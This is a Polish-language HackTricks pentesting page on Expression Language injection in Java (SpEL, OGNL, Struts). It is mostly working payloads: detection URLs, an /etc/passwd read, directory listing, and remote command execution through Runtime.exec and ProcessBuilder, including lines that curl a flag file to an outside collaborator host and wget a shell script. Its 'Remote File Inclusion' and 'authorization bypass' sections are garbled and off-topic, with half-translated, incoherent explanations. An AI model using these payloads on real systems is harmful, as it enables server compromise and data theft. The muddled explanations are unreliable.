hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
2024-02-11 01:46:25 +00:00

19 KiB

EL - Język Wyrażeń

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawowe informacje

Język Wyrażeń (EL) jest integralny w JavaEE do łączenia warstwy prezentacji (np. strony internetowe) i logiki aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest on głównie używany w:

  • JavaServer Faces (JSF): Do wiązania komponentów interfejsu użytkownika z danymi/akcjami backendu.
  • JavaServer Pages (JSP): Do dostępu i manipulacji danymi wewnątrz stron JSP.
  • Contexts and Dependency Injection for Java EE (CDI): Do ułatwiania interakcji warstwy internetowej z zarządzanymi beanami.

Konteksty użycia:

  • Spring Framework: Stosowany w różnych modułach, takich jak Security i Data.
  • Ogólne użycie: Przez API SpEL przez programistów w językach opartych na JVM, takich jak Java, Kotlin i Scala.

EL jest obecny w technologiach JavaEE, środowiskach samodzielnych i rozpoznawalny poprzez rozszerzenia plików .jsp lub .jsf, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jego funkcje i użycie niektórych znaków mogą zależeć od wersji.

{% hint style="info" %} W zależności od wersji EL niektóre funkcje mogą być włączone lub wyłączone, a zazwyczaj niektóre znaki mogą być zabronione. {% endhint %}

Podstawowy przykład

(Możesz znaleźć inny interesujący samouczek na temat EL w https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Pobierz z repozytorium Maven pliki jar:

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

I utwórz plik Main.java o następującej zawartości:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Następnie skompiluj kod (jeśli nie masz zainstalowanego javac, zainstaluj sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Uruchom aplikację za pomocą:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Zauważ, że w poprzednim przykładzie termin {5*5} został oceniony.

Samouczek oparty na CVE

Sprawdź to w tym poście: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloady

Podstawowe działania

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Wykrywanie

  • Wykrywanie za pomocą narzędzia Burp
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • Wykrywanie J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Zatrzymaj się na 10 sekund
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Zdalne włączenie pliku

Remote File Inclusion (zdalne włączenie pliku) jest techniką ataku, która pozwala hakerowi na włączenie zdalnego pliku na serwerze. Atak ten jest możliwy, gdy aplikacja webowa nie sprawdza poprawnie danych wejściowych, które są używane do dynamicznego włączania plików. Haker może wykorzystać tę lukę, aby włączyć złośliwy kod lub zdalny plik, który może prowadzić do naruszenia bezpieczeństwa systemu.

Przykład ataku

Poniżej przedstawiono przykład ataku Remote File Inclusion:

<?php
    $file = $_GET['file'];
    include($file);
?>

W powyższym przykładzie aplikacja webowa przyjmuje parametr file z żądania GET i następnie włącza ten plik za pomocą funkcji include(). Jeśli aplikacja nie sprawdza poprawnie wartości parametru file, haker może wykorzystać tę lukę, aby włączyć dowolny zdalny plik.

Skutki ataku

Atak Remote File Inclusion może prowadzić do różnych skutków, takich jak:

  • Wykonanie dowolnego kodu na serwerze
  • Ujawnienie poufnych danych, takich jak hasła, klucze API itp.
  • Zniszczenie lub modyfikacja danych na serwerze
  • Przejęcie kontroli nad serwerem

Zapobieganie atakom

Aby zapobiec atakom Remote File Inclusion, należy podjąć następujące środki ostrożności:

  • Sprawdź i waliduj dane wejściowe przed ich użyciem do dynamicznego włączania plików.
  • Unikaj używania funkcji takich jak include() lub require() z niezaufanymi danymi wejściowymi.
  • Używaj listy białej (whitelist) do określania dozwolonych plików, które mogą być włączone.
  • Zaktualizuj oprogramowanie i biblioteki do najnowszych wersji, aby uniknąć znanych luk bezpieczeństwa.

Podsumowanie

Atak Remote File Inclusion jest poważnym zagrożeniem dla aplikacji webowych. Poprawna walidacja danych wejściowych i ostrożne korzystanie z funkcji włączania plików są kluczowe dla zapewnienia bezpieczeństwa systemu.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Wykaz katalogów

W przypadku, gdy serwer nie ma włączonej funkcji ukrywania zawartości katalogów, można uzyskać dostęp do wykazu katalogów. Wykaz ten zawiera listę plików i folderów znajdujących się w danym katalogu. Może to dostarczyć przydatnych informacji dla hakerów, takich jak nazwy plików, struktura katalogów i potencjalne cele ataku. Aby uzyskać dostęp do wykazu katalogów, wystarczy wpisać ścieżkę do katalogu w przeglądarce internetowej.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Podstawowe wyjaśnienie RCE
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (nie przetestowane)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Więcej RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspekcja środowiska

  • applicationScope - globalne zmienne aplikacji
  • requestScope - zmienne żądania
  • initParam - zmienne inicjalizacji aplikacji
  • sessionScope - zmienne sesji
  • param.X - wartość parametru, gdzie X to nazwa parametru HTTP

Będziesz musiał rzutować te zmienne na typ String, na przykład:

${sessionScope.toString()}

Przykład pominięcia autoryzacji

The following example demonstrates an authorization bypass vulnerability in a web application that uses Server-Side Template Injection (SSTI) with Expression Language (EL).

Poniższy przykład ilustruje podatność na pominięcie autoryzacji w aplikacji internetowej, która wykorzystuje Server-Side Template Injection (SSTI) z Expression Language (EL).

public class UserController {
    @GetMapping("/user/{id}")
    public String getUser(@PathVariable("id") String id, Model model) {
        User user = userRepository.findById(id);
        if (user != null) {
            model.addAttribute("user", user);
            return "user";
        } else {
            return "error";
        }
    }
}

In the above code snippet, the getUser method retrieves a user object from the userRepository based on the provided id. If the user exists, the user object is added to the model and the "user" template is returned. Otherwise, the "error" template is returned.

W powyższym fragmencie kodu metoda getUser pobiera obiekt użytkownika z userRepository na podstawie podanego id. Jeśli użytkownik istnieje, obiekt użytkownika jest dodawany do modelu, a zwracany jest szablon "user". W przeciwnym razie zwracany jest szablon "error".

However, an attacker can exploit this code by injecting a malicious EL expression as the id parameter. For example, by providing the following payload as the id parameter: ${7*7}.

Jednak atakujący może wykorzystać ten kod, wstrzykując złośliwe wyrażenie EL jako parametr id. Na przykład, podając następujący payload jako parametr id: ${7*7}.

The injected payload ${7*7} will be evaluated by the EL engine, resulting in the value 49. As a result, the user with the id of 49 will be retrieved from the userRepository and displayed in the "user" template.

Wstrzyknięty payload ${7*7} zostanie oceniony przez silnik EL, co spowoduje uzyskanie wartości 49. W rezultacie użytkownik o id równym 49 zostanie pobrany z userRepository i wyświetlony w szablonie "user".

This vulnerability allows an attacker to bypass the authorization mechanism and access user data without proper authentication.

Ta podatność umożliwia atakującemu obejście mechanizmu autoryzacji i dostęp do danych użytkownika bez odpowiedniej autentykacji.

${pageContext.request.getSession().setAttribute("admin", true)}

Aplikacja może również używać niestandardowych zmiennych, takich jak:

${user}
${password}
${employee.FirstName}

Bypass WAF

Sprawdź https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!